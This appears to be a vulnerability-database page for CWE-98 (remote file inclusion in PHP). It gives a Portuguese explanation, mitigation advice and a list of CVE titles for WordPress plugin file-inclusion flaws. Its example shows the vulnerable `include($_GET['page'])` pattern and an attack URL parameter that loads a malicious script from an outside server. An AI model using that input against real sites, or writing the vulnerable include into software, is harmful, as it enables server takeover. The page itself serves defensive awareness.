Weaknesses of type CWE-98

1,308 results

Inclusão remota de arquivo

Ocorre quando a aplicação inclui dinamicamente um arquivo (via funções como `include()`, `require()` em PHP) sem validar corretamente a entrada do usuário. Um atacante fornece uma URL remota maliciosa e consegue executar código arbitrário no servidor, comprometendo completamente a aplicação.

Example

Uma página PHP recebe um parâmetro `page` e faz `include($_GET['page'])`. Um atacante passa `page=http://seuservidor.com/malware.php` e consegue executar o arquivo malicioso no contexto do servidor web, roubando dados ou instalando backdoors.

How to mitigate

Valide rigorosamente entrada de usuário: use lista branca de arquivos permitidos, não permita URLs remotas, desabilite as directives `allow_url_include` e `allow_url_fopen` no PHP, e sempre sanitize caminhos de arquivo.

CVE-2025-53248HIGHWordPress Magazine Theme <= 1.2.2 - Local File Inclusion VulnerabilityEPSS 0.4%CVE-2025-60200HIGHWordPress LearnPress Export Import plugin <= 4.1.2 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2026-29858HIGHA lack of path validation in aaPanel v7.57.0 allows attackers to execute a local file inclusion (LFI), leadingot sensitive information exposEPSS 0.4%CVE-2025-60204HIGHWordPress WooCommerce Store Toolkit plugin <= 2.4.3 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-60189HIGHWordPress PoloPag – Pix Automático para Woocommerce plugin <= 2.0.9 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-60073HIGHWordPress Responsive Sidebar plugin <= 1.2.2 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-60202HIGHWordPress Favorites plugin <= 2.3.6 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-60241HIGHWordPress Premmerce plugin <= 1.3.19 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-60192HIGHWordPress Premmerce Wholesale Pricing for WooCommerce plugin <= 1.1.10 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-60240HIGHWordPress AnyComment plugin <= 0.3.6 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-60196HIGHWordPress Clearblue® Ovulation Calculator plugin <= 1.2.4 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-60203HIGHWordPress Store Exporter plugin <= 2.7.6 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-60201HIGHWordPress WP Customer Area plugin <= 8.3.5 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-60076HIGHWordPress Ray Enterprise Translation plugin <= 1.7.1 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-60074HIGHWordPress Lazy Load Optimizer plugin <= 1.4.7 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-60194HIGHWordPress Premmerce Product Search for WooCommerce plugin <= 2.2.4 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-60193HIGHWordPress Premmerce User Roles plugin <= 1.0.13 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2025-60191HIGHWordPress Premmerce Wishlist for WooCommerce plugin <= 1.1.10 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2026-57749HIGHWordPress SportsPress Pro plugin <= 2.7.29 - Local File Inclusion vulnerabilityEPSS 0.4%CVE-2026-57748HIGHWordPress Shopify plugin <= 1.0.0 - Local File Inclusion vulnerabilityEPSS 0.4%